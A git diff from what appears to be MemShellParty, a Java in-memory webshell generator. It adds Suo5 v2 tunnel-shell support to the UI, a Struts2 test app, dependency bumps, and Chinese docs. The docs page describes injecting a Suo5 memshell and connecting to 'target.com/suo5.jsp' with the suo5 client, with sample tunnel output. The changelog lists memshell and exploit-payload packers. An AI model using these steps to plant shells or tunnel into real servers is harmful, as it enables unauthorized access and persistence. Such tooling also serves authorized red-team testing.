xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
|
||||
id="WebApp_ID" version="2.5">
|
||||
|
||||
<welcome-file-list>
|
||||
<welcome-file>index.html</welcome-file>
|
||||
</welcome-file-list>
|
||||
|
||||
<filter>
|
||||
<filter-name>struts2</filter-name>
|
||||
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
|
||||
</filter>
|
||||
|
||||
<filter-mapping>
|
||||
<filter-name>struts2</filter-name>
|
||||
<url-pattern>/*</url-pattern>
|
||||
</filter-mapping>
|
||||
|
||||
</web-app>
|
||||
@@ -0,0 +1,11 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Struts2 Test</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Welcome to Struts2 Test Application</h1>
|
||||
</body>
|
||||
</html>
|
||||
@@ -53,6 +53,7 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
|
||||
[ShellToolType.Command]: <CommandIcon className="h-4 w-4" />,
|
||||
[ShellToolType.AntSword]: <SwordIcon className="h-4 w-4" />,
|
||||
[ShellToolType.Suo5]: <WaypointsIcon className="h-4 w-4" />,
|
||||
[ShellToolType.Suo5v2]: <WaypointsIcon className="h-4 w-4" />,
|
||||
[ShellToolType.NeoreGeorg]: <NetworkIcon className="h-4 w-4" />,
|
||||
[ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
|
||||
};
|
||||
@@ -467,7 +468,8 @@ export default function MainConfigCard({
|
||||
<CommandTabContent form={form} shellTypes={shellTypes} />
|
||||
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
||||
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
||||
<Suo5TabContent form={form} shellTypes={shellTypes} />
|
||||
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
|
||||
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
|
||||
<NeoRegTabContent form={form} shellTypes={shellTypes} />
|
||||
<CustomTabContent form={form} shellTypes={shellTypes} />
|
||||
</Tabs>
|
||||
|
||||
@@ -133,7 +133,8 @@ export function BasicInfo({
|
||||
}
|
||||
/>
|
||||
)}
|
||||
{generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && (
|
||||
{(generateResult?.shellConfig.shellTool === ShellToolType.Suo5 ||
|
||||
generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && (
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.suo5Header")}
|
||||
text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
|
||||
|
||||
@@ -12,14 +12,16 @@ import { UrlPatternFormField } from "./urlpattern-field";
|
||||
export function Suo5TabContent({
|
||||
form,
|
||||
shellTypes,
|
||||
tabValue,
|
||||
}: Readonly<{
|
||||
form: UseFormReturn<MemShellFormSchema>;
|
||||
shellTypes: Array<string>;
|
||||
tabValue: string;
|
||||
}>) {
|
||||
const { t } = useTranslation(["memshell", "common"]);
|
||||
return (
|
||||
<FormProvider {...form}>
|
||||
<TabsContent value="Suo5">
|
||||
<TabsContent value={tabValue}>
|
||||
<Card>
|
||||
<CardContent className="space-y-2 mt-4">
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||
|
||||
@@ -30,7 +30,7 @@ export default function PackageConfigCard({
|
||||
|
||||
useEffect(() => {
|
||||
const filteredOptions = (packerConfig ?? []).filter((name) => {
|
||||
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
|
||||
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl") && !name.toLowerCase().endsWith("jar");
|
||||
});
|
||||
|
||||
const mappedOptions = filteredOptions.map((name) => {
|
||||
|
||||
@@ -132,6 +132,7 @@ export enum ShellToolType {
|
||||
Command = "Command",
|
||||
AntSword = "AntSword",
|
||||
Suo5 = "Suo5",
|
||||
Suo5v2 = "Suo5v2",
|
||||
NeoreGeorg = "NeoreGeorg",
|
||||
Custom = "Custom",
|
||||
}
|
||||
|
||||
+8
-6
@@ -17,7 +17,7 @@
|
||||
"fumadocs-core": "16.2.3",
|
||||
"fumadocs-mdx": "14.1.0",
|
||||
"fumadocs-ui": "16.2.3",
|
||||
"i18next": "^25.7.1",
|
||||
"i18next": "^25.7.2",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.556.0",
|
||||
"motion": "^12.23.25",
|
||||
@@ -38,7 +38,7 @@
|
||||
"@react-router/dev": "^7.10.1",
|
||||
"@tailwindcss/vite": "^4.1.17",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^24.10.1",
|
||||
"@types/node": "^24.10.2",
|
||||
"@types/react": "^19.2.7",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
@@ -48,7 +48,7 @@
|
||||
"serve": "^14.2.5",
|
||||
"tailwindcss": "^4.1.17",
|
||||
"typescript": "^5.9.3",
|
||||
"vite": "^7.2.6",
|
||||
"vite": "^7.2.7",
|
||||
"vite-plugin-devtools-json": "^1.0.0",
|
||||
"vite-tsconfig-paths": "^5.1.4",
|
||||
},
|
||||
@@ -489,7 +489,7 @@
|
||||
|
||||
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
||||
|
||||
"@types/node": ["@types/[email protected].1", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GNWcUTRBgIRJD5zj+Tq0fKOJ5XZajIiBroOF0yvj2bSU1WvNdYS/dn9UxwsujGW4JX06dnHyjV2y9rRaybH0iQ=="],
|
||||
"@types/node": ["@types/[email protected].2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-WOhQTZ4G8xZ1tjJTvKOpyEVSGgOTvJAfDK3FNFgELyaTpzhdgHVHeqW8V+UJvzF5BT+/B54T/1S2K6gd9c7bbA=="],
|
||||
|
||||
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
||||
|
||||
@@ -773,7 +773,7 @@
|
||||
|
||||
"human-signals": ["[email protected]", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="],
|
||||
|
||||
"i18next": ["[email protected].1", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-XbTnkh1yCZWSAZGnA9xcQfHcYNgZs2cNxm+c6v1Ma9UAUGCeJPplRe1ILia6xnDvXBjk0uXU+Z8FYWhA19SKFw=="],
|
||||
"i18next": ["[email protected].2", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-58b4kmLpLv1buWUEwegMDUqZVR5J+rT+WTRFaBGL7lxDuJQQ0NrJFrq+eT2N94aYVR1k1Sr13QITNOL88tZCuw=="],
|
||||
|
||||
"image-size": ["[email protected]", "", { "bin": { "image-size": "bin/image-size.js" } }, "sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w=="],
|
||||
|
||||
@@ -1281,7 +1281,7 @@
|
||||
|
||||
"vfile-message": ["[email protected]", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
|
||||
|
||||
"vite": ["[email protected].6", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="],
|
||||
"vite": ["[email protected].7", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ=="],
|
||||
|
||||
"vite-node": ["[email protected]", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="],
|
||||
|
||||
@@ -1381,6 +1381,8 @@
|
||||
|
||||
"vite-node/pathe": ["[email protected]", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
|
||||
|
||||
"vite-node/vite": ["[email protected]", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-tI2l/nFHC5rLh7+5+o7QjKjSR04ivXDF4jcgV0f/bTQ+OJiITy5S6gaynVsEM+7RqzufMnVbIon6Sr5x1SDYaQ=="],
|
||||
|
||||
"ansi-align/string-width/emoji-regex": ["[email protected]", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="],
|
||||
|
||||
"ansi-align/string-width/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="],
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
---
|
||||
title: Suo5
|
||||
description: Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。
|
||||
---
|
||||
|
||||
import { Step, Steps } from 'fumadocs-ui/components/steps';
|
||||
|
||||
<Callout type="info">项目地址:https://github.com/zema1/suo5</Callout>
|
||||
<Callout type="success">原理介绍:[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/)</Callout>
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Suo5 v2 版本主要特性
|
||||
|
||||
- **优异的传输性能**
|
||||
- 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP
|
||||
- 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能
|
||||
- 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案
|
||||
- **良好的服务端兼容性**
|
||||
- Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持
|
||||
- .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0)
|
||||
- PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持
|
||||
- **复杂网络环境支持**
|
||||
- 支持一层、两层、多层反向代理下的稳定连接
|
||||
- 支持通过流量转发和请求重试来支持负载均衡场景
|
||||
- 支持配置上游代理(HTTP/SOCKS5)
|
||||
- **稳定可靠的工程实现**
|
||||
- 正确可靠的连接控制、并发管理、心跳保活、异常重连等
|
||||
- 完善的单元测试和集成测试保障质量
|
||||
|
||||
## 使用步骤
|
||||
|
||||
<Steps>
|
||||
<Step>
|
||||
### 选择 Suo5/Suo5v2 内存马工具
|
||||
|
||||
Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本,由于改动较大,因此做了两个不同的版本适配。
|
||||
|
||||

|
||||
|
||||
</Step>
|
||||
<Step>
|
||||
### 设置流量入口特征
|
||||
|
||||
为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成
|
||||
|
||||

|
||||
|
||||
</Step>
|
||||
<Step>
|
||||
### 生成并注入
|
||||
|
||||
选取合适的打包方式,并进行内存马的注入。
|
||||
|
||||
</Step>
|
||||
<Step>
|
||||
### 连接与使用
|
||||
|
||||
在 [zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端
|
||||
|
||||
1. 如果请求头使用默认的 User-Agent,则直接通过 `--ua "xXksjas"` 来指定即可,假设生成的为 `User-Agent: xXksjas`,则通过以下命令进行连接
|
||||
```bash
|
||||
$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas"
|
||||
...
|
||||
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
|
||||
[INFO] 14:28 preferred connection mode: half
|
||||
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
|
||||
[INFO] 14:28 suo5 is going to work on half mode
|
||||
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
|
||||
[INFO] 14:28 creating a test connection to the remote target
|
||||
[INFO] 14:28 start connection to 127.0.0.1:0
|
||||
[INFO] 14:28 successfully connected to 127.0.0.1:0
|
||||
[INFO] 14:28 connection closed, 127.0.0.1:0
|
||||
[INFO] 14:28 congratulations! everything works fine
|
||||
```
|
||||
2. 如果请求头使用其他,例如 Referer,则需要使用 `-H "Referer: xXksjas"` 来连接,例如
|
||||
```bash
|
||||
$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas"
|
||||
...
|
||||
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
|
||||
[INFO] 14:28 preferred connection mode: half
|
||||
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
|
||||
[INFO] 14:28 suo5 is going to work on half mode
|
||||
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
|
||||
[INFO] 14:28 creating a test connection to the remote target
|
||||
[INFO] 14:28 start connection to 127.0.0.1:0
|
||||
[INFO] 14:28 successfully connected to 127.0.0.1:0
|
||||
[INFO] 14:28 connection closed, 127.0.0.1:0
|
||||
[INFO] 14:28 congratulations! everything works fine
|
||||
```
|
||||
|
||||
3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97)
|
||||
</Step>
|
||||
</Steps>
|
||||
@@ -8,6 +8,19 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
|
||||
|
||||
### Added
|
||||
|
||||
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
|
||||
2. 支持 Struct2 Action 内存马与回显马生成
|
||||
|
||||
### Changed
|
||||
|
||||
1. ui 探测马生成去除 jar 相关打包方式
|
||||
|
||||
**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
|
||||
|
||||
## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
|
||||
|
||||
### Added
|
||||
@@ -18,7 +31,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用)
|
||||
5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97))
|
||||
6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack))
|
||||
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 漏洞测试 payload
|
||||
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
|
||||
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写
|
||||
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
|
||||
10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1))
|
||||
@@ -28,6 +41,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow
|
||||
2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间
|
||||
3. boot 接口添加 /api 前缀,web 添加 /ui 前缀
|
||||
|
||||
**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
|
||||
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 670 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 62 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
@@ -63,7 +63,7 @@ icon: Album
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||
- [x] [Suo5](./suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
{
|
||||
"title": "常见 Java 内存马"
|
||||
}
|
||||
"title": "Servlets 规范内存马"
|
||||
}
|
||||
|
||||
@@ -10,6 +10,8 @@
|
||||
"what-is-memshell",
|
||||
"memshell",
|
||||
"custom-memshell",
|
||||
"---内存马工具---",
|
||||
"...(shelltool)",
|
||||
"---其他---",
|
||||
"recommend-tools"
|
||||
]
|
||||
|
||||
@@ -59,7 +59,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
|
||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
|
||||
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
+3
-3
@@ -24,7 +24,7 @@
|
||||
"fumadocs-core": "16.2.3",
|
||||
"fumadocs-mdx": "14.1.0",
|
||||
"fumadocs-ui": "16.2.3",
|
||||
"i18next": "^25.7.1",
|
||||
"i18next": "^25.7.2",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.556.0",
|
||||
"motion": "^12.23.25",
|
||||
@@ -45,7 +45,7 @@
|
||||
"@react-router/dev": "^7.10.1",
|
||||
"@tailwindcss/vite": "^4.1.17",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^24.10.1",
|
||||
"@types/node": "^24.10.2",
|
||||
"@types/react": "^19.2.7",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
@@ -55,7 +55,7 @@
|
||||
"serve": "^14.2.5",
|
||||
"tailwindcss": "^4.1.17",
|
||||
"typescript": "^5.9.3",
|
||||
"vite": "^7.2.6",
|
||||
"vite": "^7.2.7",
|
||||
"vite-plugin-devtools-json": "^1.0.0",
|
||||
"vite-tsconfig-paths": "^5.1.4"
|
||||
}
|
||||
|
||||
+5
-5
@@ -8,7 +8,7 @@ import tsconfigPaths from "vite-tsconfig-paths";
|
||||
import * as MdxConfig from "./source.config";
|
||||
|
||||
export default defineConfig({
|
||||
base: env.NODE_ENV === "development" ? '/' : `${env.VITE_APP_API_URL}/`,
|
||||
base: env.NODE_ENV === "development" ? "/" : `${env.VITE_APP_API_URL}/`,
|
||||
plugins: [
|
||||
mdx(MdxConfig),
|
||||
tailwindcss(),
|
||||
@@ -19,11 +19,11 @@ export default defineConfig({
|
||||
}),
|
||||
],
|
||||
resolve:
|
||||
process.env.NODE_ENV === 'development'
|
||||
process.env.NODE_ENV === "development"
|
||||
? {}
|
||||
: {
|
||||
alias: {
|
||||
'react-dom/server': 'react-dom/server.node',
|
||||
alias: {
|
||||
"react-dom/server": "react-dom/server.node",
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user